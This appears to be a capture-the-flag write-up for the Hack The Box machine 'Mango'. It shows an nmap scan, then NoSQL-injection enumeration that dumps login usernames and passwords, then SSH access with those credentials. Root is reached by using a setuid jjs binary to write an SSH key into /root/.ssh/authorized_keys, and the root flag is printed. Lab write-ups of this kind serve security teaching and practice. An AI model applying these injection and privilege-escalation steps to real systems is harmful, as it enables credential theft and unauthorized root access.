> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/medium-boxes/mango.md).

# Mango

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FzgcSqiLKAOeMI1g8wRIO%2FMango.png?alt=media&amp;token=11f9b04f-26cb-48ae-b9d2-629d978dc0d9" alt="" width="563"><figcaption><p>Mango</p></figcaption></figure>

### Recon

```bash
ping -c 1 10.10.10.162 
PING 10.10.10.162 (10.10.10.162) 56(84) bytes of data.
64 bytes from 10.10.10.162: icmp_seq=1 ttl=63 time=61.7 ms

--- 10.10.10.162 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 61.693/61.693/61.693/0.000 ms
```

scanning of target.

```bash
sudo nmap -sC -sV 10.10.10.162 -p- -T5 -oN mango
```

results:

```bash
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
Service Info: Host: 10.10.10.162; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

lets add a domain to /etc/hosts

```bash
staging-order.mango.htb mango.htb
```

### HTTPS

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FhUAlOtoIBHtgylwQ6wSo%2FPasted%20image%2020240210190719.png?alt=media&amp;token=552767be-9e8f-4df4-95ba-e47dec5915e2" alt=""><figcaption></figcaption></figure>

HTTPS version looks like this, tried bunch of things but nothing works.

but if we check http version, it is looks like this.

### HTTP

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FuaNH5mwptCJ3OxUrz13O%2FPasted%20image%2020240210190732.png?alt=media&amp;token=0571e5d6-bbad-46b7-aa90-9d22608d4328" alt=""><figcaption></figcaption></figure>

Something more interesting, login page with mangos, there is little hint, backend might be MongoDB.

So it is going ot be NoSQL.

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection>" %}
Cheatsheet
{% endembed %}

{% embed url="<https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration>" %}
Exploit
{% endembed %}

### admin shell

By this command, we will firstly dump a usernames.

```bash
python3 nosqli.py -u http://staging-order.mango.htb/index.php -up username -pp password -op login=login -ep username -m POST
```

```bash
2 username(s) found:
admin
mango
```

Now passwords.

```bash
python3 nosqli.py -u http://staging-order.mango.htb/index.php -up username -pp password -op login=login -ep password -m POST
```

```bash
2 password(s) found:
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2
```

And I tried to ssh with this creds as admin, and boom, here is the shell!

```bash
ssh admin@10.10.10.162                          
The authenticity of host '10.10.10.162 (10.10.10.162)' can't be established.
ED25519 key fingerprint is SHA256:tzYGTA/kNsB/kThvsmrv2uxaUS/2zS/grRQkrbN4+RE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.162' (ED25519) to the list of known hosts.
admin@10.10.10.162's password: 
Permission denied, please try again.
admin@10.10.10.162's password: 
Permission denied, please try again.
admin@10.10.10.162's password: 
admin@10.10.10.162: Permission denied (publickey,password).
                                                                                                                                                                                                                                              
musor@kali:~/wu/mango$ ssh mango@10.10.10.162                                                                                                                                                                                                
mango@10.10.10.162's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Feb 10 16:46:58 UTC 2024

  System load:  0.0               Processes:           101
  Usage of /:   58.5% of 5.29GB   Users logged in:     0
  Memory usage: 19%               IP address for eth0: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

118 packages can be updated.
18 updates are security updates.


Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
mango@mango:~$ 
```

### root shell

Running a linpeas, we got something interesting.

```bash
-rwsr-sr-- 1 root admin 11K Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
```

Im going to write a ssh key to /root directory, so im able to login.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FhOaYq7BNxiI8K8rZF8UO%2Fimage.png?alt=media&amp;token=588b50c4-67e2-44fb-8863-ddc34d4ed980" alt=""><figcaption></figcaption></figure>

> instead of "DATA" im going to replace it with my public key.

```bash
jjs> var FileWriter = Java.type("java.io.FileWriter");
jjs> var fw=new FileWriter("/root/.ssh/authorized_keys");
jjs> fw.write("ssh-rsa AAAA**** musor@kali");
jjs> fw.close();
```

And I will ssh as root with my private key.

```bash
ssh root@10.10.10.162 -i id_rsa 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Feb 10 16:55:39 UTC 2024

  System load:  0.0               Processes:           111
  Usage of /:   59.0% of 5.29GB   Users logged in:     1
  Memory usage: 29%               IP address for eth0: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

118 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Nov 15 11:33:49 2023 from 10.10.14.23
root@mango:~# ls
root.txt
root@mango:~# cat root.txt
2bfea22449469498da0068e6a806fc8a
```

And root.flag